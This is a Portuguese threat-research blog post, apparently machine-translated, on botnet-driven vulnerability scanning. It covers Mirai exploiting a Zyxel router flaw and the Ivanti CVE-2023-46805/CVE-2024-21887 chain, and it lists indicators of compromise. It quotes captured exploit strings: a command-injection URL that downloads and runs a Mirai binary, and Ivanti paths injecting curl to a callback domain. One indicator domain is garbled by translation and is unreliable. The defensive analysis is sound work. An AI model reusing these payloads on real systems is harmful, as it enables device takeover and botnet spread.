Malware “Its not me” é detectado buscando vitimas

Por Beliz Kaleli , Fang Liu , Peng Peng , Alex Starov , Joey Allen e Stefan Springer

Este artigo analisa como os invasores usam hosts infectados para verificações de seus alvos baseadas em malware, em vez da abordagem mais tradicional que usa verificações diretas.

Há muito tempo que os agentes de ameaças utilizam métodos de verificação para identificar vulnerabilidades em redes ou sistemas. Alguns ataques de verificação originam-se de redes benignas, provavelmente conduzidas por malware em máquinas infectadas. Ao lançar ataques de varredura a partir de hosts comprometidos, os invasores podem realizar o seguinte:

• Cobrindo seus rastros
• Ignorando a cerca geográfica
• Expandindo botnets
• Aproveitar os recursos desses dispositivos comprometidos para gerar um volume maior de solicitações de verificação em comparação com o que poderiam conseguir usando apenas seus próprios dispositivos

Identificamos diversas características importantes do comportamento de verificação, como um volume incomumente alto de solicitações. Usando essas características e as assinaturas de ameaças conhecidas, somos capazes de detectar casos conhecidos, bem como novos padrões de verificação emergentes.

Introdução aos ataques de varredura

A verificação ocorre quando um invasor inicia solicitações de rede na tentativa de explorar as vulnerabilidades potenciais dos hosts alvo. Os hosts alvo são normalmente benignos e potencialmente vulneráveis ​​ao CVE visado pelo invasor.

Os comportamentos de verificação comumente vistos incluem o seguinte:

• Varredura de porta
• Verificação de vulnerabilidades
• Impressão digital do sistema operacional

Na Figura 1, representamos um modelo de ataque de um simples incidente direto de varredura do invasor. Neste modelo, o invasor faz uma solicitação HTTP POST (conforme descrito em nosso resumo de ameaças relacionadas ao MOVEit ) para a universidade aleatória fictícia[.]edu em uma tentativa de procurar e subsequentemente explorar a vulnerabilidade CVE-2023-34362 do MOVEit. Se random-university[.]edu for vulnerável a este CVE e não houver outro mecanismo de proteção empregado, este ataque será bem-sucedido.

Monitoramento de múltiplas redes revela padrões de digitalização emergentes

Ao rastrear logs de tráfego de múltiplas redes, vemos solicitações para um grande número de destinos com caminhos aparentemente benignos. Por exemplo, nossa telemetria indica que URLs que terminam em guestaccess.aspx foram solicitados 7.147 vezes em 2023 por pelo menos 1.406 dispositivos. Este endpoint está vinculado à vulnerabilidade MOVEit CVE-2023-34362, que foi publicada em 2 de junho de 2023.

Quando revisamos nossos dados históricos, observamos esse ponto final em nossa telemetria com diferentes sites de destino, mesmo antes da data de publicação do CVE. Depois de analisar nossa telemetria de diversas redes, detectamos mais de 66 milhões de solicitações em 2023 que estavam potencialmente associadas à atividade de verificação.

Verificando ataques com novos URLs para entrega de carga útil ou C2

Observamos muitos casos de varredura em que os invasores incorporaram URLs anteriormente não vistos para entrega de carga útil ou C2 junto com a solicitação de exploração. Isso reduz a possibilidade de carga útil subsequente ou URLs C2 serem bloqueados por fornecedores de segurança. Como essas entregas de carga útil ou URLs C2 são novas para os fornecedores de segurança, é crucialmente importante detectar e bloquear essas solicitações iniciais de verificação, pois é improvável que os fornecedores bloqueiem as solicitações subsequentes.

Em 12 de janeiro de 2024, 11h23min49s UTC, detectamos a verificação por uma variante do Mirai com o seguinte URL malicioso em sua carga útil:

• 103.245.236[.]188/skyljne.mips

Em 18 de janeiro de 2024, 07:31:07 UTC, detectamos uma verificação que tentava explorar as vulnerabilidades da Ivanti com o seguinte URL malicioso em sua carga útil:

• 45.130.22[.]219/ivanti.js

Em ambos os casos acima, observamos que as solicitações de verificação precederam a detecção de entrega de carga maliciosa subsequente ou URLs C2 por uma margem significativa. Isso indica a eficácia da detecção de varredura na identificação e resposta imediata a ameaças emergentes, bloqueando atividades de varredura e identificando URLs maliciosos.

Malware sequestra dispositivos infectados para lançar ataques de varredura

Ao analisar nossa telemetria, descobrimos um modelo de ameaça para ataques de varredura orientados por malware. Neste modelo, os invasores infectam um dispositivo e utilizam seus recursos para realizar varreduras.

Normalmente, quando um dispositivo é comprometido por malware, esse malware direciona-se para domínios C2 controlados pelo invasor para obter instruções. Os atores da ameaça podem instruir o malware a realizar ataques de varredura. Em seguida, o malware no dispositivo comprometido inicia solicitações de verificação para vários domínios de destino.

Por exemplo, suponha que um host seja infectado por uma variante Mirai (SHA256: 23190d722ba3fe97d859bd9b086ff33a14ae9aecfc8a2c3427623f93de3d3b14 ). Em seguida, a variante Mirai se conectará ao seu servidor C2 em 193.47.61[.]75 , onde receberá a instrução para iniciar a digitalização.

Após receber esta instrução, a ameaça iniciará solicitações de verificação para vários alvos usando os recursos do dispositivo infectado. A Figura 2 descreve um modelo de ameaça simples para verificação orientada por malware. O resultado ideal para o invasor é encontrar e explorar alvos vulneráveis.

Dependendo do tipo de ataque planejado pelo autor da ameaça, os alvos podem variar. Por exemplo, um invasor pode ter como alvo uma determinada entidade, como um governo. Neste caso, é provável que o invasor faça tentativas de exploração com vários CVEs que se aplicam apenas ao site desse governo.

Um invasor também pode estar tentando explorar o maior número possível de sites para diversos fins, como espalhar uma botnet. Nesse caso, um invasor ampliaria seu escopo para uma variedade de alvos diferentes.

Discutiremos agora um estudo de caso desse comportamento obtido em nossa análise que se ajusta ao modelo de ameaça discutido.

Mirai Botnet continua enriquecendo seu conjunto de ferramentas para propagação

Nossa telemetria reflete tentativas de exploração de uma vulnerabilidade de execução remota de código Zyxel que relatamos anteriormente em 2023 para uma variante Mirai. A exploração tem como alvo a vulnerabilidade de validação de entrada insuficiente que existia em certas versões do componente /bin/zhttpd/ do roteador Zyxel para baixar um arquivo malicioso, que então começará a se replicar para propagação adicional do botnet Mirai.

Em 19 de junho de 2023, observamos um aumento incomum no número de destinos únicos verificados, onde pelo menos 2.247 dispositivos estavam envolvidos em uma tentativa de exploração distribuída em 15.812 provedores de serviços de Internet (ISPs) de destino. Na Figura 3, mostramos o número de alvos verificados exclusivos para esta vulnerabilidade durante um período de 23 dias com o padrão de URL:

bin/zhttpd/${ifs}cd${ifs}/tmp;${ifs}rm${ifs}-rf${ifs}*;${ifs}wget${ifs}hxxp://103.110.33[ .]164/mips;${ifs}chmod${ifs}777${ifs}mips;${ifs}./mips${ifs}zyxel.selfrep;.

É digno de nota que 103.110.33[.]164 no padrão acima é apenas um exemplo. Esse padrão de URL não se limita a um único endereço IP e descobrimos vários outros nos resultados indicados abaixo na Figura 3.

As botnets Mirai estão evoluindo continuamente e incorporando novas vulnerabilidades em seu repertório de exploração. À medida que novas vulnerabilidades são anunciadas, os agentes de ameaças desenvolvem novas variantes do Mirai para explorar essas vulnerabilidades.

Para se manter à frente deste ciclo, a defesa mais importante é corrigir vulnerabilidades e atualizar os sistemas de detecção para que possam identificar e bloquear novas variantes do Mirai. Dados os constantes anúncios de novas vulnerabilidades, é particularmente desafiador realizar essas detecções e atualizações prontamente. No entanto, ao monitorar as atividades de varredura em múltiplas redes, podemos detectar novos padrões de varredura mais rapidamente.

A verificação de vulnerabilidades da Ivanti aumenta por uma semana após a divulgação

Detectamos as seguintes vulnerabilidades recentemente divulgadas da Ivanti em nossa telemetria:

• CVE-2023-46805 (ignorar autenticação de alta gravidade)
• CVE-2024-21887 (injeção de comando de gravidade crítica)
• CVE-2024-21893 (falsificação de solicitação do lado do servidor de alta gravidade)

Mais detalhes sobre essas vulnerabilidades podem ser encontrados no resumo de ameaças da Unidade 42 da Ivanti .

A Figura 4 mostra que observamos um aumento no número de alvos únicos verificados a partir de 14 de janeiro de 2024, com vários caminhos de URL que os agentes de ameaças usaram para verificar e explorar as vulnerabilidades da Ivanti. Neste dia, 25.268 hosts únicos foram verificados por pelo menos 15.645 hosts infectados. Apenas quatro dias após o pico inicial, em 18 de janeiro de 2024, esses números aumentaram. Observamos então 82.441 hosts únicos sendo verificados por pelo menos 39.658 hosts infectados.

Em 19 de janeiro, observamos solicitações de pelo menos 32 hosts infectados para 37 hosts de vítimas únicas com o seguinte caminho de URL:

• api/v1/totp/license/keys-status/;curl a0f0b2e6[.]dnslog[.]store

Este foi um ataque em cadeia em que os atores da ameaça aproveitaram o CVE-2023-46805 e o CVE-2024-21887. Aqui, o endpoint /license/keys-status era protegido por autenticação, mas tinha uma vulnerabilidade de injeção de comando.

Para ignorar a autenticação, os invasores aproveitaram a travessia do caminho e enviaram a seguinte solicitação HTTP GET:

• /api/v1/totp/user-backup-code/../../license/keys-status;<attacker_cmd>

Devido ao endpoint /api/v1/totp/user-backup-code executar apenas uma verificação de prefixo para URLs, essa solicitação GET poderia ignorar a autenticação e acessar o endpoint que tinha a vulnerabilidade de injeção de comando.

No exemplo que observamos, o agente da ameaça tentou realizar esse ataque em cadeia e conectar-se a a0f0b2e6[.]dnslog[.]store . Os invasores usam esse domínio para coletar endereços IP de alvos vulneráveis ​​para potencialmente realizar novos ataques.

Categorias de verificações de vulnerabilidades

Vulnerabilidades em roteadores, estruturas de desenvolvimento/teste de aplicativos da Web e ferramentas de colaboração, como e-mail e calendário, são populares entre os invasores devido ao seu uso generalizado. A Figura 5 mostra a pilha de tecnologia que os invasores têm maior probabilidade de atingir com base em nossa telemetria.

Os ataques a roteadores, em particular, têm sido extremamente populares entre os invasores. Em incidentes recentes, hackers russos tentaram sequestrar Ubiquiti EdgeRouters e uma botnet chinesa SOHO teve como alvo roteadores Cisco e NetGear . Nossos dados indicam que as verificações de vulnerabilidades não estão limitadas a essas marcas específicas de roteadores.

Conclusão

Nossa telemetria indica um número significativo de verificações iniciadas por malware entre os ataques de verificação que detectamos em 2023. As verificações iniciadas por malware são uma forma de verificação menos direta em comparação com a abordagem mais direta tradicionalmente vista nas verificações de invasores.

Nossos dados também revelam outras tendências na verificação relacionadas a diversas vulnerabilidades que surgiram em 2023. Essas descobertas indicam que as vulnerabilidades comumente visadas são aquelas com maior probabilidade de afetar uma ampla gama de alvos.

Indicadores de compromisso

Endereços IP/URLs/SHAs que hospedaram malware Mirai

• 45.66.230[.]32
• 85.208.139[.]73
• 87.120.88[.]13
• 95.214.27[.]244
• 103.110.33[.]164
• 103.95.196[.]149
• 103.131.57[.]59/mips
• 103.212.81[.]116
• 103.228.126[.]17
• 145.40.126[.]81/mips
• 146.19.191[.]85
• 146.19.191[.]108
• 176.97.210[.]211/mips
• 185.112.83[.]15
• 193.31.28[.]13
• 193.47.61[.]75
• 217.114.43[.]149
• 23190d722ba3fe97d859bd9b086ff33a14ae9aecfc8a2c3427623f93de3d3b14

Domínio e URL associados às verificações de vulnerabilidade da Ivanti

• dnslog[.]loja
• hxxp://45.130.22[.]219/ivanti.js
• 137.220.130[.]2/doc

Reconhecimentos

Gostaríamos de agradecer à equipe da Unidade 42 por nos apoiar com esta postagem. Agradecimentos especiais a Bradley Duncan e Lysa Myers por suas valiosas contribuições neste artigo.